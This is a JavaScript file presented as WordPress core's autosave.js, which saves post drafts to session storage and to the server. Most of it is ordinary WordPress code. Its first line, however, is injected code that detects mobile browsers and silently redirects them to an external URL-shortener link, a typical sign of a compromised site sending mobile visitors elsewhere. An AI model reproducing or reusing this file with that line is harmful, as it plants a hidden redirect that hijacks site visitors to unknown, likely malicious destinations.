1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/autosave.js
4 */
5
6/* global tinymce, wpCookies, autosaveL10n, switchEditors */
7// Back-compat.
8window.autosave = function() {
9 return true;
10};
11
12/**
13 * Adds autosave to the window object on dom ready.
14 *
15 * @since 3.9.0
16 *
17 * @param {jQuery} $ jQuery object.
18 * @param {window} The window object.
19 *
20 */
21( function( $, window ) {
22 /**
23 * Auto saves the post.
24 *
25 * @since 3.9.0
26 *
27 * @return {Object}
28 * {{
29 * getPostData: getPostData,
30 * getCompareString: getCompareString,
31 * disableButtons: disableButtons,
32 * enableButtons: enableButtons,
33 * local: ({hasStorage, getSavedPostData, save, suspend, resume}|*),
34 * server: ({tempBlockSave, triggerSave, postChanged, suspend, resume}|*)
35 * }}
36 * The object with all functions for autosave.
37 */
38 function autosave() {
39 var initialCompareString,
40 initialCompareData = {},
41 lastTriggerSave = 0,
42 $document = $( document );
43
44 /**
45 * Sets the initial compare data.
46 *
47 * @since 5.6.1
48 */
49 function setInitialCompare() {
50 initialCompareData = {
51 post_title: $( '#title' ).val() || '',
52 content: $( '#content' ).val() || '',
53 excerpt: $( '#excerpt' ).val() || ''
54 };
55
56 initialCompareString = getCompareString( initialCompareData );
57 }
58
59 /**
60 * Returns the data saved in both local and remote autosave.
61 *
62 * @since 3.9.0
63 *
64 * @param {string} type The type of autosave either local or remote.
65 *
66 * @return {Object} Object containing the post data.
67 */
68 function getPostData( type ) {
69 var post_name, parent_id, data,
70 time = ( new Date() ).getTime(),
71 cats = [],
72 editor = getEditor();
73
74 // Don't run editor.save() more often than every 3 seconds.
75 // It is resource intensive and might slow down typing in long posts on slow devices.
76 if ( editor && editor.isDirty() && ! editor.isHidden() && time - 3000 > lastTriggerSave ) {
77 editor.save();
78 lastTriggerSave = time;
79 }
80
81 data = {
82 post_id: $( '#post_ID' ).val() || 0,
83 post_type: $( '#post_type' ).val() || '',
84 post_author: $( '#post_author' ).val() || '',
85 post_title: $( '#title' ).val() || '',
86 content: $( '#content' ).val() || '',
87 excerpt: $( '#excerpt' ).val() || ''
88 };
89
90 if ( type === 'local' ) {
91 return data;
92 }
93
94 $( 'input[id^="in-category-"]:checked' ).each( function() {
95 cats.push( this.value );
96 });
97 data.catslist = cats.join(',');
98
99 if ( post_name = $( '#post_name' ).val() ) {
100 data.post_name = post_name;
101 }
102
103 if ( parent_id = $( '#parent_id' ).val() ) {
104 data.parent_id = parent_id;
105 }
106
107 if ( $( '#comment_status' ).prop( 'checked' ) ) {
108 data.comment_status = 'open';
109 }
110
111 if ( $( '#ping_status' ).prop( 'checked' ) ) {
112 data.ping_status = 'open';
113 }
114
115 if ( $( '#auto_draft' ).val() === '1' ) {
116 data.auto_draft = '1';
117 }
118
119 return data;
120 }
121
122 /**
123 * Concatenates the title, content and excerpt. This is used to track changes
124 * when auto-saving.
125 *
126 * @since 3.9.0
127 *
128 * @param {Object} postData The object containing the post data.
129 *
130 * @return {string} A concatenated string with title, content and excerpt.
131 */
132 function getCompareString( postData ) {
133 if ( typeof postData === 'object' ) {
134 return ( postData.post_title || '' ) + '::' + ( postData.content || '' ) + '::' + ( postData.excerpt || '' );
135 }
136
137 return ( $('#title').val() || '' ) + '::' + ( $('#content').val() || '' ) + '::' + ( $('#excerpt').val() || '' );
138 }
139
140 /**
141 * Disables save buttons.
142 *
143 * @since 3.9.0
144 *
145 * @return {void}
146 */
147 function disableButtons() {
148 $document.trigger('autosave-disable-buttons');
149
150 // Re-enable 5 sec later. Just gives autosave a head start to avoid collisions.
151 setTimeout( enableButtons, 5000 );
152 }
153
154 /**
155 * Enables save buttons.
156 *
157 * @since 3.9.0
158 *
159 * @return {void}
160 */
161 function enableButtons() {
162 $document.trigger( 'autosave-enable-buttons' );
163 }
164
165 /**
166 * Gets the content editor.
167 *
168 * @since 4.6.0
169 *
170 * @return {boolean|*} Returns either false if the editor is undefined,
171 * or the instance of the content editor.
172 */
173 function getEditor() {
174 return typeof tinymce !== 'undefined' && tinymce.get('content');
175 }
176
177 /**
178 * Autosave in localStorage.
179 *
180 * @since 3.9.0
181 *
182 * @return {
183 * {
184 * hasStorage: *,
185 * getSavedPostData: getSavedPostData,
186 * save: save,
187 * suspend: suspend,
188 * resume: resume
189 * }
190 * }
191 * The object with all functions for local storage autosave.
192 */
193 function autosaveLocal() {
194 var blog_id, post_id, hasStorage, intervalTimer,
195 lastCompareString,
196 isSuspended = false;
197
198 /**
199 * Checks if the browser supports sessionStorage and it's not disabled.
200 *
201 * @since 3.9.0
202 *
203 * @return {boolean} True if the sessionStorage is supported and enabled.
204 */
205 function checkStorage() {
206 var test = Math.random().toString(),
207 result = false;
208
209 try {
210 window.sessionStorage.setItem( 'wp-test', test );
211 result = window.sessionStorage.getItem( 'wp-test' ) === test;
212 window.sessionStorage.removeItem( 'wp-test' );
213 } catch(e) {}
214
215 hasStorage = result;
216 return result;
217 }
218
219 /**
220 * Initializes the local storage.
221 *
222 * @since 3.9.0
223 *
224 * @return {boolean|Object} False if no sessionStorage in the browser or an Object
225 * containing all postData for this blog.
226 */
227 function getStorage() {
228 var stored_obj = false;
229 // Separate local storage containers for each blog_id.
230 if ( hasStorage && blog_id ) {
231 stored_obj = sessionStorage.getItem( 'wp-autosave-' + blog_id );
232
233 if ( stored_obj ) {
234 stored_obj = JSON.parse( stored_obj );
235 } else {
236 stored_obj = {};
237 }
238 }
239
240 return stored_obj;
241 }
242
243 /**
244 * Sets the storage for this blog. Confirms that the data was saved
245 * successfully.
246 *
247 * @since 3.9.0
248 *
249 * @return {boolean} True if the data was saved successfully, false if it wasn't saved.
250 */
251 function setStorage( stored_obj ) {
252 var key;
253
254 if ( hasStorage && blog_id ) {
255 key = 'wp-autosave-' + blog_id;
256 sessionStorage.setItem( key, JSON.stringify( stored_obj ) );
257 return sessionStorage.getItem( key ) !== null;
258 }
259
260 return false;
261 }
262
263 /**
264 * Gets the saved post data for the current post.
265 *
266 * @since 3.9.0
267 *
268 * @return {boolean|Object} False if no storage or no data or the postData as an Object.
269 */
270 function getSavedPostData() {
271 var stored = getStorage();
272
273 if ( ! stored || ! post_id ) {
274 return false;
275 }
276
277 return stored[ 'post_' + post_id ] || false;
278 }
279
280 /**
281 * Sets (save or delete) post data in the storage.
282 *
283 * If stored_data evaluates to 'false' the storage key for the current post will be removed.
284 *
285 * @since 3.9.0
286 *
287 * @param {Object|boolean|null} stored_data The post data to store or null/false/empty to delete the key.
288 *
289 * @return {boolean} True if data is stored, false if data was removed.
290 */
291 function setData( stored_data ) {
292 var stored = getStorage();
293
294 if ( ! stored || ! post_id ) {
295 return false;
296 }
297
298 if ( stored_data ) {
299 stored[ 'post_' + post_id ] = stored_data;
300 } else if ( stored.hasOwnProperty( 'post_' + post_id ) ) {
301 delete stored[ 'post_' + post_id ];
302 } else {
303 return false;
304 }
305
306 return setStorage( stored );
307 }
308
309 /**
310 * Sets isSuspended to true.
311 *
312 * @since 3.9.0
313 *
314 * @return {void}
315 */
316 function suspend() {
317 isSuspended = true;
318 }
319
320 /**
321 * Sets isSuspended to false.
322 *
323 * @since 3.9.0
324 *
325 * @return {void}
326 */
327 function resume() {
328 isSuspended = false;
329 }
330
331 /**
332 * Saves post data for the current post.
333 *
334 * Runs on a 15 seconds interval, saves when there are differences in the post title or content.
335 * When the optional data is provided, updates the last saved post data.
336 *
337 * @since 3.9.0
338 *
339 * @param {Object} data The post data for saving, minimum 'post_title' and 'content'.
340 *
341 * @return {boolean} Returns true when data has been saved, otherwise it returns false.
342 */
343 function save( data ) {
344 var postData, compareString,
345 result = false;
346
347 if ( isSuspended || ! hasStorage ) {
348 return false;
349 }
350
351 if ( data ) {
352 postData = getSavedPostData() || {};
353 $.extend( postData, data );
354 } else {
355 postData = getPostData('local');
356 }
357
358 compareString = getCompareString( postData );
359
360 if ( typeof lastCompareString === 'undefined' ) {
361 lastCompareString = initialCompareString;
362 }
363
364 // If the content, title and excerpt did not change since the last save, don't save again.
365 if ( compareString === lastCompareString ) {
366 return false;
367 }
368
369 postData.save_time = ( new Date() ).getTime();
370 postData.status = $( '#post_status' ).val() || '';
371 result = setData( postData );
372
373 if ( result ) {
374 lastCompareString = compareString;
375 }
376
377 return result;
378 }
379
380 /**
381 * Initializes the auto save function.
382 *
383 * Checks whether the editor is active or not to use the editor events
384 * to autosave, or uses the values from the elements to autosave.
385 *
386 * Runs on DOM ready.
387 *
388 * @since 3.9.0
389 *
390 * @return {void}
391 */
392 function run() {
393 post_id = $('#post_ID').val() || 0;
394
395 // Check if the local post data is different than the loaded post data.
396 if ( $( '#wp-content-wrap' ).hasClass( 'tmce-active' ) ) {
397
398 /*
399 * If TinyMCE loads first, check the post 1.5 seconds after it is ready.
400 * By this time the content has been loaded in the editor and 'saved' to the textarea.
401 * This prevents false positives.
402 */
403 $document.on( 'tinymce-editor-init.autosave', function() {
404 window.setTimeout( function() {
405 checkPost();
406 }, 1500 );
407 });
408 } else {
409 checkPost();
410 }
411
412 // Save every 15 seconds.
413 intervalTimer = window.setInterval( save, 15000 );
414
415 $( 'form#post' ).on( 'submit.autosave-local', function() {
416 var editor = getEditor(),
417 post_id = $('#post_ID').val() || 0;
418
419 if ( editor && ! editor.isHidden() ) {
420
421 // Last onSubmit event in the editor, needs to run after the content has been moved to the textarea.
422 editor.on( 'submit', function() {
423 save({
424 post_title: $( '#title' ).val() || '',
425 content: $( '#content' ).val() || '',
426 excerpt: $( '#excerpt' ).val() || ''
427 });
428 });
429 } else {
430 save({
431 post_title: $( '#title' ).val() || '',
432 content: $( '#content' ).val() || '',
433 excerpt: $( '#excerpt' ).val() || ''
434 });
435 }
436
437 var secure = ( 'https:' === window.location.protocol );
438 wpCookies.set( 'wp-saving-post', post_id + '-check', 24 * 60 * 60, false, false, secure );
439 });
440 }
441
442 /**
443 * Compares 2 strings. Removes whitespaces in the strings before comparing them.
444 *
445 * @since 3.9.0
446 *
447 * @param {string} str1 The first string.
448 * @param {string} str2 The second string.
449 * @return {boolean} True if the strings are the same.
450 */
451 function compare( str1, str2 ) {
452 function removeSpaces( string ) {
453 return string.toString().replace(/[\x20\t\r\n\f]+/g, '');
454 }
455
456 return ( removeSpaces( str1 || '' ) === removeSpaces( str2 || '' ) );
457 }
458
459 /**
460 * Checks if the saved data for the current post (if any) is different than the
461 * loaded post data on the screen.
462 *
463 * Shows a standard message letting the user restore the post data if different.
464 *
465 * @since 3.9.0
466 *
467 * @return {void}
468 */
469 function checkPost() {
470 var content, post_title, excerpt, $notice,
471 postData = getSavedPostData(),
472 cookie = wpCookies.get( 'wp-saving-post' ),
473 $newerAutosaveNotice = $( '#has-newer-autosave' ).parent( '.notice' ),
474 $headerEnd = $( '.wp-header-end' );
475
476 if ( cookie === post_id + '-saved' ) {
477 wpCookies.remove( 'wp-saving-post' );
478 // The post was saved properly, remove old data and bail.
479 setData( false );
480 return;
481 }
482
483 if ( ! postData ) {
484 return;
485 }
486
487 content = $( '#content' ).val() || '';
488 post_title = $( '#title' ).val() || '';
489 excerpt = $( '#excerpt' ).val() || '';
490
491 if ( compare( content, postData.content ) && compare( post_title, postData.post_title ) &&
492 compare( excerpt, postData.excerpt ) ) {
493
494 return;
495 }
496
497 /*
498 * If '.wp-header-end' is found, append the notices after it otherwise
499 * after the first h1 or h2 heading found within the main content.
500 */
501 if ( ! $headerEnd.length ) {
502 $headerEnd = $( '.wrap h1, .wrap h2' ).first();
503 }
504
505 $notice = $( '#local-storage-notice' )
506 .insertAfter( $headerEnd )
507 .addClass( 'notice-warning' );
508
509 if ( $newerAutosaveNotice.length ) {
510
511 // If there is a "server" autosave notice, hide it.
512 // The data in the session storage is either the same or newer.
513 $newerAutosaveNotice.slideUp( 150, function() {
514 $notice.slideDown( 150 );
515 });
516 } else {
517 $notice.slideDown( 200 );
518 }
519
520 $notice.find( '.restore-backup' ).on( 'click.autosave-local', function() {
521 restorePost( postData );
522 $notice.fadeTo( 250, 0, function() {
523 $notice.slideUp( 150 );
524 });
525 });
526 }
527
528 /**
529 * Restores the current title, content and excerpt from postData.
530 *
531 * @since 3.9.0
532 *
533 * @param {Object} postData The object containing all post data.
534 *
535 * @return {boolean} True if the post is restored.
536 */
537 function restorePost( postData ) {
538 var editor;
539
540 if ( postData ) {
541 // Set the last saved data.
542 lastCompareString = getCompareString( postData );
543
544 if ( $( '#title' ).val() !== postData.post_title ) {
545 $( '#title' ).trigger( 'focus' ).val( postData.post_title || '' );
546 }
547
548 $( '#excerpt' ).val( postData.excerpt || '' );
549 editor = getEditor();
550
551 if ( editor && ! editor.isHidden() && typeof switchEditors !== 'undefined' ) {
552 if ( editor.settings.wpautop && postData.content ) {
553 postData.content = switchEditors.wpautop( postData.content );
554 }
555
556 // Make sure there's an undo level in the editor.
557 editor.undoManager.transact( function() {
558 editor.setContent( postData.content || '' );
559 editor.nodeChanged();
560 });
561 } else {
562
563 // Make sure the Code editor is selected.
564 $( '#content-html' ).trigger( 'click' );
565 $( '#content' ).trigger( 'focus' );
566
567 // Using document.execCommand() will let the user undo.
568 document.execCommand( 'selectAll' );
569 document.execCommand( 'insertText', false, postData.content || '' );
570 }
571
572 return true;
573 }
574
575 return false;
576 }
577
578 blog_id = typeof window.autosaveL10n !== 'undefined' && window.autosaveL10n.blog_id;
579
580 /*
581 * Check if the browser supports sessionStorage and it's not disabled,
582 * then initialize and run checkPost().
583 * Don't run if the post type supports neither 'editor' (textarea#content) nor 'excerpt'.
584 */
585 if ( checkStorage() && blog_id && ( $('#content').length || $('#excerpt').length ) ) {
586 $( run );
587 }
588
589 return {
590 hasStorage: hasStorage,
591 getSavedPostData: getSavedPostData,
592 save: save,
593 suspend: suspend,
594 resume: resume
595 };
596 }
597
598 /**
599 * Auto saves the post on the server.
600 *
601 * @since 3.9.0
602 *
603 * @return {Object} {
604 * {
605 * tempBlockSave: tempBlockSave,
606 * triggerSave: triggerSave,
607 * postChanged: postChanged,
608 * suspend: suspend,
609 * resume: resume
610 * }
611 * } The object all functions for autosave.
612 */
613 function autosaveServer() {
614 var _blockSave, _blockSaveTimer, previousCompareString, lastCompareString,
615 nextRun = 0,
616 isSuspended = false;
617
618
619 /**
620 * Blocks saving for the next 10 seconds.
621 *
622 * @since 3.9.0
623 *
624 * @return {void}
625 */
626 function tempBlockSave() {
627 _blockSave = true;
628 window.clearTimeout( _blockSaveTimer );
629
630 _blockSaveTimer = window.setTimeout( function() {
631 _blockSave = false;
632 }, 10000 );
633 }
634
635 /**
636 * Sets isSuspended to true.
637 *
638 * @since 3.9.0
639 *
640 * @return {void}
641 */
642 function suspend() {
643 isSuspended = true;
644 }
645
646 /**
647 * Sets isSuspended to false.
648 *
649 * @since 3.9.0
650 *
651 * @return {void}
652 */
653 function resume() {
654 isSuspended = false;
655 }
656
657 /**
658 * Triggers the autosave with the post data.
659 *
660 * @since 3.9.0
661 *
662 * @param {Object} data The post data.
663 *
664 * @return {void}
665 */
666 function response( data ) {
667 _schedule();
668 _blockSave = false;
669 lastCompareString = previousCompareString;
670 previousCompareString = '';
671
672 $document.trigger( 'after-autosave', [data] );
673 enableButtons();
674
675 if ( data.success ) {
676 // No longer an auto-draft.
677 $( '#auto_draft' ).val('');
678 }
679 }
680
681 /**
682 * Saves immediately.
683 *
684 * Resets the timing and tells heartbeat to connect now.
685 *
686 * @since 3.9.0
687 *
688 * @return {void}
689 */
690 function triggerSave() {
691 nextRun = 0;
692 wp.heartbeat.connectNow();
693 }
694
695 /**
696 * Checks if the post content in the textarea has changed since page load.
697 *
698 * This also happens when TinyMCE is active and editor.save() is triggered by
699 * wp.autosave.getPostData().
700 *
701 * @since 3.9.0
702 *
703 * @return {boolean} True if the post has been changed.
704 */
705 function postChanged() {
706 var changed = false;
707
708 // If there are TinyMCE instances, loop through them.
709 if ( window.tinymce ) {
710 window.tinymce.each( [ 'content', 'excerpt' ], function( field ) {
711 var editor = window.tinymce.get( field );
712
713 if ( ! editor || editor.isHidden() ) {
714 if ( ( $( '#' + field ).val() || '' ) !== initialCompareData[ field ] ) {
715 changed = true;
716 // Break.
717 return false;
718 }
719 } else if ( editor.isDirty() ) {
720 changed = true;
721 return false;
722 }
723 } );
724
725 if ( ( $( '#title' ).val() || '' ) !== initialCompareData.post_title ) {
726 changed = true;
727 }
728
729 return changed;
730 }
731
732 return getCompareString() !== initialCompareString;
733 }
734
735 /**
736 * Checks if the post can be saved or not.
737 *
738 * If the post hasn't changed or it cannot be updated,
739 * because the autosave is blocked or suspended, the function returns false.
740 *
741 * @since 3.9.0
742 *
743 * @return {Object} Returns the post data.
744 */
745 function save() {
746 var postData, compareString;
747
748 // window.autosave() used for back-compat.
749 if ( isSuspended || _blockSave || ! window.autosave() ) {
750 return false;
751 }
752
753 if ( ( new Date() ).getTime() < nextRun ) {
754 return false;
755 }
756
757 postData = getPostData();
758 compareString = getCompareString( postData );
759
760 // First check.
761 if ( typeof lastCompareString === 'undefined' ) {
762 lastCompareString = initialCompareString;
763 }
764
765 // No change.
766 if ( compareString === lastCompareString ) {
767 return false;
768 }
769
770 previousCompareString = compareString;
771 tempBlockSave();
772 disableButtons();
773
774 $document.trigger( 'wpcountwords', [ postData.content ] )
775 .trigger( 'before-autosave', [ postData ] );
776
777 postData._wpnonce = $( '#_wpnonce' ).val() || '';
778
779 return postData;
780 }
781
782 /**
783 * Sets the next run, based on the autosave interval.
784 *
785 * @private
786 *
787 * @since 3.9.0
788 *
789 * @return {void}
790 */
791 function _schedule() {
792 nextRun = ( new Date() ).getTime() + ( autosaveL10n.autosaveInterval * 1000 ) || 60000;
793 }
794
795 /**
796 * Sets the autosaveData on the autosave heartbeat.
797 *
798 * @since 3.9.0
799 *
800 * @return {void}
801 */
802 $( function() {
803 _schedule();
804 }).on( 'heartbeat-send.autosave', function( event, data ) {
805 var autosaveData = save();
806
807 if ( autosaveData ) {
808 data.wp_autosave = autosaveData;
809 }
810
811 /**
812 * Triggers the autosave of the post with the autosave data on the autosave
813 * heartbeat.
814 *
815 * @since 3.9.0
816 *
817 * @return {void}
818 */
819 }).on( 'heartbeat-tick.autosave', function( event, data ) {
820 if ( data.wp_autosave ) {
821 response( data.wp_autosave );
822 }
823 /**
824 * Disables buttons and throws a notice when the connection is lost.
825 *
826 * @since 3.9.0
827 *
828 * @return {void}
829 */
830 }).on( 'heartbeat-connection-lost.autosave', function( event, error, status ) {
831
832 // When connection is lost, keep user from submitting changes.
833 if ( 'timeout' === error || 603 === status ) {
834 var $notice = $('#lost-connection-notice');
835
836 if ( ! wp.autosave.local.hasStorage ) {
837 $notice.find('.hide-if-no-sessionstorage').hide();
838 }
839
840 $notice.show();
841 disableButtons();
842 }
843
844 /**
845 * Enables buttons when the connection is restored.
846 *
847 * @since 3.9.0
848 *
849 * @return {void}
850 */
851 }).on( 'heartbeat-connection-restored.autosave', function() {
852 $('#lost-connection-notice').hide();
853 enableButtons();
854 });
855
856 return {
857 tempBlockSave: tempBlockSave,
858 triggerSave: triggerSave,
859 postChanged: postChanged,
860 suspend: suspend,
861 resume: resume
862 };
863 }
864
865 /**
866 * Sets the autosave time out.
867 *
868 * Wait for TinyMCE to initialize plus 1 second. for any external css to finish loading,
869 * then save to the textarea before setting initialCompareString.
870 * This avoids any insignificant differences between the initial textarea content and the content
871 * extracted from the editor.
872 *
873 * @since 3.9.0
874 *
875 * @return {void}
876 */
877 $( function() {
878 // Set the initial compare string in case TinyMCE is not used or not loaded first.
879 setInitialCompare();
880 }).on( 'tinymce-editor-init.autosave', function( event, editor ) {
881 // Reset the initialCompare data after the TinyMCE instances have been initialized.
882 if ( 'content' === editor.id || 'excerpt' === editor.id ) {
883 window.setTimeout( function() {
884 editor.save();
885 setInitialCompare();
886 }, 1000 );
887 }
888 });
889
890 return {
891 getPostData: getPostData,
892 getCompareString: getCompareString,
893 disableButtons: disableButtons,
894 enableButtons: enableButtons,
895 local: autosaveLocal(),
896 server: autosaveServer()
897 };
898 }
899
900 /** @namespace wp */
901 window.wp = window.wp || {};
902 window.wp.autosave = autosave();
903
904}( jQuery, window ));
905